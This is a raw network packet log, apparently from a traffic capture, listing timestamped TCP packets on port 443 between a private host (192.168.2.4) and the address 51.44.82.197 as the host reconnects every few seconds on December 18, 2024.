Dec 18, 2024 08:47:05.494174957 CET	443	49746	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:05.494184971 CET	49746	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:05.494193077 CET	443	49746	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:05.495096922 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:05.495188951 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:05.495280027 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:05.495588064 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:05.495615005 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.864178896 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.864404917 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:06.864470005 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.864523888 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:06.864537001 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.868036032 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.868124962 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:06.868472099 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:06.868561983 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:06.868573904 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.868652105 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.915692091 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:06.915714025 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:06.963305950 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:10.214873075 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:10.215056896 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:10.215130091 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:10.215130091 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:10.215198040 CET	443	49753	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:10.215231895 CET	49753	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:10.216063023 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:10.216088057 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:10.216166019 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:10.216346979 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:10.216361046 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.585619926 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.585992098 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:11.585992098 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:11.586035013 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.586056948 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.589992046 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.590190887 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:11.590555906 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:11.590976000 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.591034889 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:11.635333061 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.638098955 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:11.638123035 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:11.685908079 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:13.542085886 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:13.542265892 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:13.542273045 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:13.542313099 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:13.542334080 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:13.542334080 CET	49764	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:13.542345047 CET	443	49764	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:13.543015957 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:13.543101072 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:13.543174982 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:13.543379068 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:13.543411970 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:14.908986092 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:14.909307003 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:14.909373045 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:14.909418106 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:14.909431934 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:14.910828114 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:14.911130905 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:14.911691904 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:14.911823988 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:14.911849022 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:14.911883116 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:14.959320068 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:14.959350109 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:15.007833004 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:18.354195118 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:18.354285002 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:18.354357958 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:18.354439974 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:18.354439974 CET	49775	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:18.354484081 CET	443	49775	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:18.355509043 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:18.355540991 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:18.355626106 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:18.355887890 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:18.355916023 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.720482111 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.721859932 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:19.721860886 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:19.721929073 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.721988916 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.723412037 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.723499060 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:19.724093914 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:19.724188089 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.724216938 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:19.771375895 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.771774054 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:19.771806955 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:19.820884943 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:22.490632057 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:22.490731955 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:22.490792036 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:22.490894079 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:22.490946054 CET	443	49786	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:22.490976095 CET	49786	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:22.492158890 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:22.492207050 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:22.492289066 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:22.492639065 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:22.492660046 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.858803988 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.859215975 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:23.859241009 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.859546900 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:23.859554052 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.860996962 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.861108065 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:23.861655951 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:23.861735106 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.861780882 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:23.907335997 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.909259081 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:23.909282923 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:23.957040071 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:26.965131044 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:26.965301991 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:26.965369940 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:26.965418100 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:26.965437889 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:26.965437889 CET	49797	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:26.965451002 CET	443	49797	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:26.966447115 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:26.966542006 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:26.966618061 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:26.966830015 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:26.966864109 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:28.336815119 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:28.339392900 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:28.339457035 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:28.339720011 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:28.339735985 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:28.342758894 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:28.342833996 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:28.343486071 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:28.343568087 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:28.343902111 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:28.343924046 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:28.392189980 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:31.767193079 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:31.767302990 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:31.767424107 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:31.767566919 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:31.767616987 CET	443	49808	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:31.767647028 CET	49808	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:31.768745899 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:31.768827915 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:31.768940926 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:31.769295931 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:31.769324064 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:33.136718988 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:33.137075901 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:33.137157917 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:33.137206078 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:33.137219906 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:33.138691902 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:33.138783932 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:33.139406919 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:33.139497995 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:33.139528036 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:33.187158108 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:33.187194109 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:33.236004114 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:34.729803085 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:34.729999065 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:34.730078936 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:34.730192900 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:34.730241060 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:34.730241060 CET	49819	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:34.730266094 CET	443	49819	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:34.731143951 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:34.731194973 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:34.731367111 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:34.731678963 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:34.731698036 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.101275921 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.101500988 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:36.101527929 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.101568937 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:36.101577044 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.105413914 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.105531931 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:36.106440067 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:36.106694937 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.106772900 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:36.147344112 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.154206038 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:36.154222965 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:36.201802015 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:38.549122095 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:38.549402952 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:38.549462080 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:38.549496889 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:38.549511909 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:38.549511909 CET	49830	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:38.549520016 CET	443	49830	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:38.551857948 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:38.551918983 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:38.552002907 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:38.552731991 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:38.552757978 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:39.920927048 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:39.921263933 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:39.921263933 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:39.921294928 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:39.921319962 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:39.922854900 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:39.922934055 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:39.923427105 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:39.923500061 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:39.923521042 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:39.967364073 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:39.970666885 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:39.970695019 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:40.018434048 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:41.480156898 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:41.480365992 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:41.480412006 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:41.480412006 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:41.480457067 CET	49840	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:41.480515957 CET	443	49840	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:41.481654882 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:41.481708050 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:41.481787920 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:41.482076883 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:41.482091904 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:42.851675987 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:42.851875067 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:42.851885080 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:42.851948977 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:42.851953030 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:42.855653048 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:42.855748892 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:42.858232975 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:42.858362913 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:42.858405113 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:42.906178951 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:42.906203032 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:42.953809023 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:45.416686058 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:45.416903973 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:45.416913986 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:45.416961908 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:45.416980982 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:45.416981936 CET	49847	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:45.416991949 CET	443	49847	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:45.417901039 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:45.417947054 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:45.418020010 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:45.418275118 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:45.418292046 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.786657095 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.786865950 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:46.786886930 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.786978006 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:46.786983967 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.790858984 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.790961027 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:46.791754961 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:46.791892052 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:46.791899920 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.791956902 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.839412928 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:46.839423895 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:46.887212038 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:49.463057041 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:49.463262081 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:49.463310957 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:49.463367939 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:49.463387966 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:49.463387966 CET	49858	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:49.463398933 CET	443	49858	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:49.464546919 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:49.464615107 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:49.464696884 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:49.464967966 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:49.464991093 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:50.841939926 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:50.842350006 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:50.842369080 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:50.842560053 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:50.842566013 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:50.844005108 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:50.844094992 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:50.844773054 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:50.844836950 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:50.844985008 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:50.844993114 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:50.892540932 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:54.073031902 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:54.073236942 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:54.073411942 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:54.073412895 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:54.073412895 CET	49869	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:54.073462963 CET	443	49869	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:54.074704885 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:54.074793100 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:54.074903011 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:54.075258970 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:54.075294018 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.442425966 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.442786932 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:55.442850113 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.443036079 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:55.443056107 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.446607113 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.446793079 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:55.447401047 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:55.447434902 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:55.447448015 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.447588921 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.495049000 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:55.495076895 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:55.543011904 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:57.757111073 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:57.757293940 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:57.757409096 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:57.757560015 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:57.757594109 CET	443	49880	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:57.757641077 CET	49880	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:57.759929895 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:57.760019064 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:57.760195017 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:57.760910988 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:57.760945082 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.130753994 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.131187916 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:59.131206989 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.131247997 CET	49886	443	192.168.2.4	51.44.82.197
Dec 18, 2024 08:47:59.131252050 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.134752035 CET	443	49886	51.44.82.197	192.168.2.4
Dec 18, 2024 08:47:59.134876013 CET	49886	443	192.168.2.4	51.44.82.197
